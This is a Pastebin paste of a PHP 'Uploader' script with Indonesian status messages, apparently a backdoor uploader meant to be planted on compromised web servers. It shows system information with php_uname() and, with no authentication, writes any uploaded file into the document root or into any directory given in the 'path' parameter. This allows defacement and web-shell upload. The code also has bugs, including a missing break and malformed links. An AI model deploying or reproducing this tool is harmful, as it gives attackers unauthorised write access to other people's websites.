Advertisement
Guest User

uploader

a guest
Jul 19th, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. session_start();
  5. $web = "http://".$_SERVER['HTTP_HOST']."/";
  6. echo '
  7. <meta http-equiv="refresh" content="">
  8. <meta name="author" content="star">
  9. <meta name="keyword" content="Uploader by">
  10. <title> Uploader </title>
  11. <center>
  12. <font color="black">Uploader<br>
  13. <b>'.php_uname().'</b><br>
  14. <style>
  15.  
  16. html,body {
  17. background-color: white;
  18. color: red;
  19. font-family: "monospace", cursive;
  20. }
  21. </style>
  22. <form method="post" enctype="multipart/form-data">
  23. <input type="radio" name="tipe" value="root">Home root<input type="radio" name="tipe" value="biasa">Biasa <br><br>
  24. choose your file:&nbsp;&nbsp&nbsp;<input type="file" name= "idx_file">
  25. <input type="submit" name="upload" value="upload">
  26. </form>';
  27.  
  28. if(isset($_POST['upload'])) {
  29. switch($_POST['tipe']){
  30. case "root":
  31. $root = $_SERVER['DOCUMENT_ROOT'];
  32. $files = $_FILES['idx_file']['name'];
  33. $dest = $root.'/'.$files;
  34.  
  35. if(is_writable($root)) {
  36. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  37.  
  38. echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  39. } else {
  40. echo "gagal upload di document root.";
  41. }
  42. } else {
  43. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  44. echo "sukses upload <b>$files</b> di folder ini<br>Webna '.$web.$files.'";
  45. } else {
  46. echo "gagal upload";
  47. }
  48. }
  49.  
  50. case "biasa":
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53.  
  54. }else{
  55. $path = getcwd();
  56.  
  57. }
  58. echo '</td></tr><tr><td>';
  59. $asu = $_FILES['idx_file']['tmp_name'];
  60.  
  61.  
  62. if(copy($_FILES['idx_file']['tmp_name'],$path.'/'.$_FILES['idx_file']['name'])){
  63. echo '<font color="lime">upload berhasil! di <a href="$web/$asu" target="_blank"><b><u>$web/$files</u></b></a></font><br />';
  64. }else{
  65. echo '<font color="red">upload gagal!
  66. <a href="$web/$files" target="_blank"><b><u>$web/$files</u></b></a></font><br />';
  67. }
  68.  
  69. break;
  70. default: echo "<script>alert('Harap pilih opsi');</script>"; break;
  71. }
  72. }
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement